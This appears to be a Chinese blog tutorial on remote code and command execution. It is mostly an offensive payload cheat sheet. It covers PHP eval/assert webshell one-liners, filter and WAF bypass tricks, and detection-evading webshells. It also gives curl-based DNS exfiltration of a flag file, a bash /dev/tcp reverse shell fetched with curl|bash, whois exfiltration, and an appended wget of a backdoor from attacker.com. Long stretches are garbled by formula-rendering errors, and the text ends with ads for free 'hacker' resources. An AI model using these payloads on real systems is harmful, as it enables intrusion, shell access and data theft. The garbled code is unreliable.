从0到1 学会究极RCE

究极****RCE

  • 漏洞成因

简介

RCE为两种漏洞的缩写,分别为Remote Command/Code Execute, 远程命令/代码执行.

远程命令执行

操作系统命令注入或简称(命令执行)是一种注入漏洞,攻击者注入的payload将作为操作系统命令执行,仅当Web应用程序代码包含
操作系统调用并且调用中使用了用户输入时,才可能进行OS命令注入攻击.它们不是特定语言,命令注入漏洞可能会出现在所有让你调
用系统外壳命令的语言中,C,JAVA,PHP,perl,Ruby,Python等.

操作系统使用Web服务器的特权执行注入的任意命令,因此,命令注入漏洞本身不会导致整个系统受损,但是,攻击者可能能够使用特权升级和其他漏洞来获得更多访问权限

远程代码执行

代码注入攻击与命令注入攻击不同,因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞,不管是使用代码执行的函数,或者使用了不安全的反序列化等

通过代码注入或远程代码执行(RCE),攻击者可以通过注入攻击执行恶意代码,向网站写webshell,控制整个网站甚至服务器.其实际危害性取决于服务器端解释器的限制(列如PHP,python等).在一定情况下,攻击者可能能够从代码注入升级为命令注入

通常,代码注入容易发生在应用程序执行却不经过验证代码的情况下,例如:

KaTeX parse error: Expected group as argument to '\=' at end of input: code \=_GET[‘code’];
eval(“$code;”);

会将KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲'code'\]关键字获取到的…code
eval会将他$code的值当做代码执行可以利用其他关键字system转换为命令执行

pyload构造:http://exp.com/?code=phpinfo();

  • 漏洞检测

RCE漏洞是用于程序使用了危险函数的同时没有强大的验证过滤导致的,所以在黑盒测试的过程中,常用的思路是对输入端进行测试.

许多开发人员认为文本字段是数据验证的唯一区域。这是一个错误的假设,任何外部输入都必须经过数据验证:文本字段,列表框,单选按钮,复选框,cookie,HTTP头数据,HTTP post数据,隐藏字段,参数名称和参数值…当然这也不是详尽的清单,还必须研究,进程或实体的通信,任何与上游或下游流程通信并接受其输入的代码都必须被审查

  • PHP 代码执行

可变函数:一个变量名后面如果有圆括号,php将寻找与变量值同名的函数并尝试执行.

代码执行

作用

例子

版本支持

${php代码}

会将{}内容里的函数解析

${phpinfo()}


eval()

把字符串作为PHP代码执行

eval(phpinfo());

eval是语言构造器,不能当可变函数

assert()

检测指定内容结果为FALSE如果为字符串可代码执行

assert('system("whoami")');

可变函数调用 7.2版本后和eval一致

preg_replace() /e

执行一个正则表达式的搜索和替换

preg_replace("/test/e",'system("whoami")','test');

/e 代码执行版本<=5.6版本

call_user_func()

第一个参数作为回调函数调用,第二个未回调参数

call_user_func('system','whoami');


call_user_func_array()

第一个参数作为回调函数调用,数组参数作为回调的参数

call_user_func_array('system',array('whoami'));


create_function()

匿名函数如果参数未过滤可提供提交特殊字符串导致代码执行

create_function('$test',' ;}phpinfo();/*');

php7.2被弃用,在php8.0被移除.

array_map()

第一个参数是回调函数,第二个参数是数组.

array_map('system',array('whoami'));


array_filter()

依次将array数组中的每个值传递 数组键名保持不变

array_filter(array('whoami'),'system');


array_reduce()

用回调函数迭代的将数组化为单一的值其他跟上上述一致

array_reduce([1,2],'assert','phpinfo()');


usort

使用用户自定义的比较函数对数组中的值排序

$arr=[1,'eval($_GET[1])'];usort($arr,'assert')


uasort

使用用户自定义的比较函数对数组中的值排序

$arr=[1,'eval($_GET[1])'];uasort($arr,'assert')


mbereg_replace

功能跟preg_replace一样支持e模式

mbereg_replace('.*', '\0', $_GET[1], 'mer');


动态函数 a ( a( a(b)

用于PHP的特性原因,php的函数支持直接拼接的方式调用,这直接导致了PHP在安全上的控制加大了难度,不少知名程序中也用到了动态函数的写法
eval不能当作变量函数调用
“eval属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数的形式来调用”
还有其他语法例如echo print unset isset empty include require…

<?php if(isset($\_GET\['a'\])){ $a\=$\_GET\['a'\]; $b\=$\_GET\['b'\]; $a($b); } 1.判断是否有数据传入如果a有值那么进入if 2.将a传入的值赋值给$a|?a\=assert|相当于$a \=assert; 3.进入if后就可以给b传参了b传参的值会赋值给$b |?b\=phpinfo();|相当于$b \=phpinfo() 4.$a的值动态调用了$b的值 合起来 \=assert(phpinfo()) pyload:xxx/?a\=assert&b\=phpinfo();这里的;是为了闭合函数 最终执行 assert(phpinfo()) * PHP 命令执行

命令函数

作用

例子

system()

执行外部程序,并且显示输出

system('whoami')

exec()

执行一个外部程序

echo exec('whoami');

shell_exec()

通过shell环境执行命令,并且将完整的输出以字符串的形式返回

echo shell_exec('whoami');

passthru()

执行外部程序并且显示数据原始输出

passthru('whoami');

pcntl_exec()

在当前进程空间执行指定程序 不能在非unix平台

pcntl_exec("/bin/cat",array("/etc/passwd));

popen()

打开进程文件指针

$a=popen("bin/cat,/etc/passwd","r");$b=fread($a,2096);echo $b;pclose($a);

proc_open()

执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.


ob_start()

打开内部缓冲 输出内部缓存ob_end_flush()

<?php ob_start("system"); echo "whoami"; ob_end_flush();?>

反引号``

echo `whoami`


命令执行常用命令

命令目的

linux

windows

当前用户名

whoami

whoami

操作系统

uname -a

ver

网络配置

ifconfig

ipconfig /all

网络连接

netstat -an

netstat -an

运行进程

ps -ef

tesklist

命令分隔符号linux ;可以用 |或 ||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出差时执行后面的 可以用\*\*%0a和\\n\*\*换行执行命令 windows 不能用;可以用&,&&,|,||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面的出错执行后面的 * 常用代码执行函数解析 1.${}特殊组合(双引号二次解析) php版本5.5及其以上版本可以使用 $a\='lynn'; $$a\=phpinfo(); echo"${$a}";\=>代码执行phpinfo() 1.得在双引号内 2.${}在一起 3.中间的东西会代码执行 4.php版本5.5版本及版本以上 传参会被写入文件,只要在双引号内就可以 解析流程: ${$a}\>>$$a $a\=lynn因为$$的原因会将$a的值当作变量来使用 相当于形参一个叫做$lyyn的变量,因为$$的值是phpinfo() 这里就相当于$lynn\=phpinfo(); 输出$lynn的phpinfo(); 2.eval() 非函数 语法结构 为不可变函数 eval($\_REQUEST\['a'\]); eval是代码执行用的最多的,他可以多行执行 eval把字符串当代码执行,\[eval他不是函数,他不受disable\_function影响\] php.ini配置disable\_function可以禁用函数|disable\_function\=函数,函数,函数 PHP插件禁用 3.assert() 7.2版本后为语法结构 assert($\_REQUEST\['a'\]): assert他只能执行单行,多行执行会报错 assert可以通过写文件的方式来变成多行执行 写文件然后执行,列如: file\_put\_contents('1.php','<?php eval($\_REQUEST\[1\]);phpinfo();echo 1;?>');

4.preg_replace() 正则表达式 替换函数 ≤5.6

正则表达式函数,/e他可以产生代码执行
KaTeX parse error: Expected group as argument to '\=' at position 4: a\='̲a'; echopreg\…_GET[8],$a);
1.正则表达式2.待替换的值3.替换后的值
这里如果传入的值是代码因为/e会直接执行结果
不过要匹配的值跟替换的值要一致或匹配到

5.create_function()

a c ˉ r e a t e _ f u n c t i o n ( ′ a \=create\_function(' acˉreate_function(id’,'echo i d ; ′ ) 自定义函数 id;')自定义函数 id;)自定义函数a
echo$a(8);
执行echo i d ; 因为 id;因为 id;因为id传参是8所以他会输出8
i d 在这里是形参而 id在这里是形参而 id在这里是形参而a(8)传入实参 i d 数据相当于 id数据 相当于 id数据相当于id=8并且输出8
这里要能够控制参数就可以达到代码执行
a c ˉ r e a t e _ f u n c t i o n ( ′ ′ , a\=create\_function('', acˉreate_function(′′,_REQUEST[8]);
直接调用8=}phpinfp();//
相当于此时匿名函数为
functionabc(KaTeX parse error: Expected 'EOF', got '}' at position 17: …){}phpinfo();//}̲类似SQL注入的闭合 定义…a)形参{内容}

5.array_map

array_map() 第一个参数是回调函数,第二个参数是必须是数组数据.
array_map(‘assert’,‘phpinfo()’);|要执行的函数,函数的传参

  • 代码执行绕过

单引双引号做限制 绕过限制:

部分绕过方式 案例

1.逃逸

1.?code= a s ˉ y s ; a\=sys; asˉys;b=tem;KaTeX parse error: Expected group as argument to '\=' at end of input: c\=a. b ; e c h o b;echo%20 b;echoc(whoami);
拆分数据多行执行因为eval函数可以将数据多行执行
2.?a=system&b=dir&code=KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲a\](_GET[b]);
构造传参逃逸作用域因为eval函数可以将数据多行执行

2.get_defined_functions

PHP系统函数会返回一个多维数组,该数组包含了一个所有已定义函数(包含内部函数和用户定义函数)列表
内部函数可以通过[“internal”][数字]多维数组表457值为system
get_defined_functions()[“internal”][457](whoami)=system(whoami)

3.字符数组

PHP中的每个字符串都可视为一个字符数组,并且可以通过语法KaTeX parse error: Undefined control sequence: \[ at position 7: string\̲[̲0\],或者string[1],来引用单个字符,这同时也是另一种绕过安全规则的方法
列如仅仅使用字符串$a=“tsym”,就可以组成system

4.其他RCE等

利用一些系统函数例如(__FILE__)会得到当前路径的信息
如果我们访问的网页中有SYSTEM目录我们可以利用字符数组的方式取出来使用不过一般用在可以随意输入数据的地方
通过文件包含include
通过变量覆盖
文件写入file_put_contents
文件上传move_uploaded_file 等等

5.bypass waf 部分

加密 替换 编码 转换 传输方式 部分函数
$_GET
$_POST
$_COOKIE
$_REQUEST
$_SERVER
session_id()
$_FILE
$GLOBALS
getallheaders()
getdefinedvars()
getdefinedfunctions()
substr_replace
substr
strtr
str_rot13
base64_encode
chr
bin2hex
strrev
urlencode
json_encode
pack
gzcompress/gzdeflate/gzencode
KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲1\]\=_GET{1}

  • 常用命令执行函数解析

1.system

system(‘whoami’)
php会操纵计算机执行whoami的命令,且输出返回结果
目标:机器如果是linux执行的是bash命令|如果是windows执行的是cmd命令.
echp"<?php @eval($\_REQUEST\[8\]);?>“>1.php
tisp:echo"输入内容”>1.php是指把内容写入1.php尖括号对于echo来说是关键词,所以用双引号括起来
得到的结果:
成功写入文件,但是写入的文件有"“包围了起来那么是不是就代表是字符串不能用了
这里是<?php?>内的被”"包围才会有影响所以说外面的双引号并不会影响到正常执行

2.echo exec

只会执行,如果有输出 显示结果的最后一行内容

3.echo shell_exec

只会执行,如果有输出 显示获得的所有数据

4.``[反引号]

shell_exec 特殊写法 禁用shell_exec就不可使用shell_exec

5.passthru

执行命令返回结果且输出跟system没有什么区别

6.popen(要执行的命令,参数) //r是只读 w是写入

a p ˉ o p e n ( ′ w h o a m i ′ , ′ r ′ ) ; e c h o f r e a d ( a \=popen('whoami','r'); echofread( apˉopen(whoami,r);echofread(a,1024);
这个指的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值长度 第二个指定输出多少个字符.

命令执行无回显利用技巧

1.延时

可以使用注入的命令来触发时间延迟,从而根据应用程序相应来确认命令是否执行
windows:echo1&ping-n10127.0.0.1&echo2
会ping检测10次产生延时

2.重定向输出

我们可以将注入命令的输出重定向到web根目录下的文件当中,然后使用浏览器进行检索.如果他会在localhost提供静态资源
绝对路径
cmd >file 输出重定向到file文件
cmd>file 输出追加到file中,无则创建
windows whoami >F:/PHPSTUDY/WWW/phpstudent/lynn.txt
可以将我们的命令执行后的结果输出到指定目录文件当中

3.DNSlog外带linux

利用域名解析请求,dnslog.cn
例如8qcijo.dnslog.cn那么因为dnslog使用了泛解析会将所有只要有8qcijo.dnslog.cn的xxx.8qcijo.dnslog.cn
curl`cat<flag.php|base64`.awa4xw.ceye.io

4.反弹shell

1.首先在服务器用nc监听端口
nc-lvp4444
2.如何在服务器上开启web访问(8000端口),写入一个文件(1.txt)内容如
bash-i&/dev/tcp/x.x.x.x/44440>&1
3.执行payload
?cmd=curl x.x.x.x:8000/1.txt|bash

python一行代码实现简易http服务器
python-m SimpleHTTPServer

命令执行定位文件

dir /s/b "文件内容"文件名称

findstr /s "文件内容"文件名称

命令执行绕过

1.拼接 linux

a=ca;b=t;c=1; a a ab $c.txt
设置变量
a=ca b=t c=1拼接执行 约等于cat 1.txt

2.base64编码linux

`echo “Y2F0IDEudHh0”|base64 -d`

echo"Y2F0IDEudHh0"|base64-d|bash
先将这串字符串base64解码然后bash执行命令

3.单引号,双引号linux

ca""t1’'.txt
在linux里面单双引号不会影响命令执行

4.反斜杠 linux

c\at 1.t\xt
同上一样的效果

5.可变扩展绕过linux

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm} == /etc/passwd
cat ${test//hh??hm/} == /etc/passwd

6.用通配符绕过windows

powershell C:\*\*2\n??e*d.*?|notepad

7.shell特殊变量

ca$@t 1 1. t x t = ˉ c a t 1. t x t c @ 1.txt\==cat 1.txt c@ 1.txt=ˉcat1.txtc@a @ t @ @t@ @t@ 1 1. @ 1.@ 1.@t@ x @ x@ x@t

长度限制绕过

通过构造文件来绕过
linux下可以用
1>a 创建文件名为a的空文件
ls-t>test 则会将目录按时间排序后写进test文件中
sh可以从一个文件中读取命令来执行 例如一个文件里面写了 echo1那么着急sh文件名 即可输出1

空格绕过

1.cat</etc/passwd利用<指定命令可不使用空格

2.{cat,/etc/passwd}利用{}包裹代码用,当作分隔符去查看

3.cat I F S / e t c / p a s s w d 利用 IFS/etc/passwd利用 IFS/etc/passwd利用IFS代替空格

4.echo I F S " R C E " {IFS}"RCE" IFS"RCE"{IFS}&&cat I F S / e t c / p a s s w d 利用 {IFS}/etc/passwd利用 IFS/etc/passwd利用{IFS}当作空格使用&&(连接符)

windows平台

ping%CommonProgramFiles:10,-18%IP地址|利用%CommonProgramFiles:10,-18%

ping%PROGRAMFILES:10,-5%IP地址|利用%PROGRAMFILES:10,-5%

引号逃逸

当而已命令背括在引号内时,可以用\转义引号逃逸

不带反斜杠和斜杠的命令执行

echo H O M E : 0 : 1 ∣ {HOME:0:1}| HOME:0:1{HOME:0:1}代替/
例如:
cat H O M E : 0 : 1 e t c {HOME:0:1}etc HOME:0:1etc{HOME:0:1}passwd

echo.|tr ‘!-0’‘"-1’=/
例如:
cat ( e c h o . ∣ t r ′ ! − 0 ′ ′ " − 1 ′ ) e t c (echo.|tr '!-0''"-1')etc (echo.∣tr!0′′"1)etc(echo.|tr ‘!-0’‘"-1’)passwd

命令执行waf绕过

windows

1.符号于命令的关系

"和^还有成对的圆括号()符号并不会影响命令执行,在windows环境下,命令不会区分大小写

可以加无数个"单不能同时连续加2个符号,因为号是cmd中的转义字符,跟在他后面的符号会被转义 可以去间隔添加

命令执行的时候遇到拦截命令的关键字,可以用以上方式绕过

2.了解set命令和windows变量

cmd中的set命令和%符号的含义
set命令可以用来设置一个变量(环境变量也是变量),%符号在下图

可以命令看出来 用两个%括起来的变量,会引用其变量内的值
seta=whoami//设置变量a的值为whoami
%a%//引用变量a的值,直接执行了whoami命令

我们可以搭配以上命令使用例如

seta=who
setb=ami
%a%%b%|将两个变量值合并并且执行

seta=wh"“”"“o
setb=ami
%a%%b%
可以搭配” ^来使用 双引号可以写无数个 ^可以分开但不能连起来

seta=ser&&setb=ne&&setc=t u&&call echo %b%%c%%a%//将拼接的结果输出显示
%b%%c%%a%//调用设置的变量

通常我们也可以自定义一个或多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的cmd命令,如
cmd/C"set lynn=net user && call echo %lynn%"
cmd/C"set lynn=net user && call %lynn%"
可以拼接出cmd命令:net user

也可以定义多个环境变量进行拼接命令串,提高静态分析的复杂度 以下

代码分析
cmd命令的"/C"参数,cmd/C"string"表示:执行字符串string指定的命令,然后终止
call命令来扩展变量,使用%var%

3.windows进阶,切割字符串!

在windows当作也有php中的substr切割字符串的功能
seta=whoami
%a:~0,6%==whoami
%a:~0,5%==whoam
:~0,0第一个0表示从第几位开始切 第二个0表示切几位

直接执行set我们可以看到默认他有提供上面变量

过滤空格%CommonProgramFiles:~10,1%
过滤点%ComSpec:~23,1%
截取会将指定变量值的数据解析截取

利用系统默认变量拼接系统命令

FPS_BROWSER_USER_PROFILE_STRING:~0,1=d
DriverData:~22,1=i
FPS_BROWSER_APP_PROFILE_STRING:~4,1=r

4.逻辑运算符在绕过中的作用

"|"在cmd中,可以连接命令,且只会执行后面的那条命令
whoami|ping www.baidu.com//执行ping命令
ping www.baidu.com|whoami //执行whoami

"||"在这种情况下只有前面的命令失败,才会执行后面的语句
ping127.0.0.1||whoami //不执行whoami
ping xxxx ||whoami //会执行后面的whoami

"&"前面的命令可以成功也可以失败,都会执行后面的语句,其实也可以说是只要有一条命令能够执行就可以了,但whoami一般放前面都会被检测
ping127.0.0.1&whoami //执行后面的whoami
ping127.0.0.&whoami //执行后面的whoami

"&&"必须两条命令都为真才可以
ping www.baidu.com-n1&&whoami //执行whoami
ping www &&whoami //不执行whoami

linux

1.linux下的符号和逻辑符

a=who
b=ami
linux调用变量 a a ab而在Windows是%a%%b%

";"linux下分号表示命令结束后执行后的命令,无论前面的命令是否执行

"|"在linux中,可以连接命令,和win一样,也只会执行后面的那条命令
其他符号如||,&,&&和windows是一样的

2.利用未被过滤的命令

自己的服务器中:nc -lvvp端口
payload发送给对方:whois -h监听ip端口`命令`//``为反引号
那么他会将whoami的结果反弹到我们的服务器当中

我们的服务器

发送对方执行

反弹到我们服务器当中

使用whois来执行命令和传输文件
在实际的攻击场景中,可以在自己的攻击服务器上用nc监听一个公网端口,在存在命令执行的网站中发送payload请求
对它使用whois命令使其命令执行结果返回给nc监听的端口,从而在自己服务器中查看

3.linux进阶,符号之间的组合

windows下""^都不会影响命令的执行

whoami
w\hoami
who @ a m i w h o a @ami whoa @amiwhoa*mi

在linux中"?"的角色匹配任意一个字符,用?来绕过限制
which whoami //获取whoami的绝对路径
/usr/bin/whoami
/u?r/b??/w?oami

在linux中"*"代码一个或多个任意字符 包括空字符
/*/bin/wh*mi

组合使用

4.linux深入,命令中的命令

linux中,``反引号的作用是把括起来的字符当中命令执行
666`whoami`666
//命令执行的结果会在2个666中间

组合

w`liguo`ho`duan`ami
wh ( g u o ) o a (guo)oa (guo)oa(jie)mi

5.利用linux中的环境变量

linux也可以像windows那样使用环境变量里的字符执行变量
linux输出环境变量$PATH
Linux是严格区分大小写的 而windows是不会区分的

截取字符串

利用echo ${#变量名}可以知道变量数值多长
echo ${PATH:0:0}第一个0为第几个开始取 第二个0取几个 跟windows的~0,0是差不多

拼接PATH环境变量的值去使用可以不使用cat ls
方便快捷的发送可以利用微信截图 或者 xshell等工具连接复制出来我们的环境变量值去
拿到记事本去定位大致内容组合成我们的命令

6.使用大括号绕过空格过滤

在linux下我们可以使用大花括号来绕过空格的限制,比如ls-alt中间的空格
{ls,-alt}
cat/etc/passwd中间的空格也可以使用相同的方法

7.了解重定向符号<>在绕过中的作用

8.linux中特殊的base64编码

linux系统中将命令进行base64编码,然后再去拿目标请求中命令执行,使用base64的-d参数解码
echo whoami|base64//将whoami的结果base64编码
`echo cm9vdA==|base64 -d`//将其base64解码

tisp:反引号扩起来的值会被当作代码执行

  • 快速审计RCE思路

在我们审计那些开源的CMS例如 帝国 DeDeCMS都以及被千锤百炼过 那我是如何挖据到那些RCE的呢.
答案:
我们可以快速定位 我们会存在RCE的一些关键函数 只需要达到能够"传"能够"控制"就可以无限思路RCE
有一些开源的源码经过版本迭代会不断优化他的代码过滤甚至于直接版本大更新

可以利用一些 编码 解码 加密 解密 代码拆分 字符截取 函数组合 版本缺陷 去进行bypass后续会写到一些webshell思路

  • 免杀webshell PHP 思路

1.通过传参方式GETPOSTCOOKIE
那么仅仅是这些?我们还可以通过PHP中获取系统版本 获取UA版本 获取端口 去利用burp以及我们的插件去传递呢?

2.通过语言特性
在我们的PHP中是可以利用到获取数组的方式去一一获取我们的字符内容 去组合关键字
例如:KaTeX parse error: Expected group as argument to '\=' at position 4: a\='̲lynnyi';b =KaTeX parse error: Undefined control sequence: \[ at position 2: a\̲[̲0\];获取到a的第一个字符"l"

3.通过字符拆分
利用一些特定函数或者语言特性
例如:"."连接KaTeX parse error: Expected group as argument to '\=' at position 4: a\='̲a';b=‘b’;KaTeX parse error: Expected group as argument to '\=' at end of input: c\=a.$b;

4.通过函数编码加密
利用base64进行编码操作有的时候在cms中的代码会检测内容

5.通过函数内容
例如:
get_defined_functions()获取所有已定义函数的数组 通过获取指定数组内容得到关键字组合进行RCE

6.通过不常用函数
mbereg_replace功能跟preg_replace一样支持e模式的正则表达式可以造成任意代码执行

<?php mbereg\_replace('.\*','\\0',$\_GET{1},'mer'); 7.符号代替 在外面php中$\_GET{}是可以代替$\_GET\[\]的 8.符号干扰 例如:eval/\*\*/($\_GET\[1\]); 函数拆分案例 在去年的时候可以绕webshell全部平台的我也写过一篇文章 应该传的多了过滤了 在我们的印象中eval是不可以拆分的但我们可以通过函数去帮我们做这些事情 可以去寻找类似的代码 <?php $a\=strtr("systme","me","em"); $b\=strtr('echo "<?php evqrw$\_yET\[1\])?>" > ./2.php',"qrwxy","al(\_G");

a ( a( a(b);
?>

strtr函数会将匹配到的字符做替换
也就是说systme替换成功system
strtr(‘echo “<?php evqrw$\_yET\[1\])?>” > ./2.php’,“qrwxy”,“al(_G”);

还有其他的思路可以搜搜其他文章参考

  • 防御命令执行

escapeshellarg 在字符串两端加上引号,并去掉字符串内的引号

escapeshellarg($_GET[‘cmd’]);

此时$_GET[]传递的命令就会返回一个命令字符串而不是直接执行.

但是这个函数在代码中通常可以用命令连接符绕过.

escapeshellcmd 将所有特殊字符用^转义

这两个函数配合使用反而容易出问题.而且不同的操作系统,不同的浏览器处理结果也不太一样.

加微信可进入群交流网络安全技术,还能领取282G网络安全学习资料~

在这里插入图片描述

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料! 点击下方蓝色字 即可免费领取↓↓↓

**读者福利 |** 👉优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传优快云,也可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费

img

### RCE(远程代码执行)漏洞概述 RCE(Remote Code Execution)漏洞是一种安全缺陷,攻击者可以利用该漏洞在目标系统上执行任意代码。这种漏洞通常出现在应用程序中未正确验证用户输入的地方,尤其是在需要与操作系统交互的场景中,例如网络设备管理界面或自动化运维平台中的命令执行功能[^1]。 #### 常见的RCE漏洞类型 - **远程系统命令执行**:这类漏洞允许攻击者通过特定接口提交恶意命令,从而控制后台服务器。例如,在路由器、防火墙等设备的Web管理界面上提供的ping操作接口,如果没有进行严格的安全控制,就可能被滥用[^2]。 - **远程代码执行**:当后端将用户的输入作为代码的一部分执行时,也可能导致RCE漏洞。这包括使用了不安全的反序列化方法或者某些代码执行函数[^3]。 ### RCE漏洞的成因 RCE漏洞的主要原因是应用系统在设计时没有对接口输入的内容进行严格的判断和处理。特别是在提供给前端用户的操作类API接口中,如果直接将用户输入拼接到命令或代码中而不做任何过滤或转义,就很容易成为攻击的目标。 ### RCE漏洞的利用过程 #### 基础知识 要理解RCE漏洞的利用过程,首先需要了解一些基本概念: - **系统命令执行函数**:这些函数可以在PHP等编程语言中用来执行系统命令,如`system()`、`passthru()`、`exec()`、`shell_exec()`、`popen()`、`proc_open()` 和 `pcntl_exec()` 等[^3]。 - **命令拼接方式**:在Windows系统中,可以通过管道符“|”、逻辑运算符“&&”、“||”以及分号“;”来组合多个命令。 #### 实战示例 假设有一个简单的PHP脚本,它接受用户输入的IP地址并执行ping命令: ```php <?php $ip = $_GET['ip']; $result = shell_exec("ping " . $ip); echo "<pre>" . $result . "</pre>"; ?> ``` 在这个例子中,由于没有对`$ip`变量进行任何过滤或验证,攻击者可以通过构造特殊的输入来注入额外的命令。例如,攻击者可以输入以下内容: ``` 127.0.0.1 && whoami ``` 这会导致服务器执行两个命令:先ping 127.0.0.1,然后显示当前用户的用户名。 更进一步地,攻击者甚至可以尝试下载并执行恶意文件,如下所示: ```php <?php exec('wget http://attacker.com/backdoor.php -O ./backdoor.php && chmod +x backdoor.php && php backdoor.php'); ?> ``` 这段代码会从攻击者的服务器下载一个后门文件,并赋予其可执行权限,最后运行这个后门文件[^4]。 ### 防护措施 为了防止RCE漏洞的发生,开发者应该采取以下几种策略: - **输入验证**:对接口输入的内容进行严格的检查,确保所有输入都符合预期格式。 - **最小权限原则**:确保应用程序以最低必要权限运行,这样即使发生RCE攻击,也能限制潜在损害。 - **使用白名单策略**:对于必须包含动态内容的情况,采用白名单机制,只允许预定义的安全输入。 - **避免直接执行用户输入**:尽量不要将用户输入直接用于构建系统命令或代码片段;如果确实需要这么做,则应使用参数化查询或其他安全机制。 ### 结论 RCE漏洞是信息安全领域的一个重要问题,因为它可以让攻击者完全控制系统。因此,开发人员必须重视这类漏洞的风险,并采取适当的安全措施来保护他们的应用程序免受此类威胁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值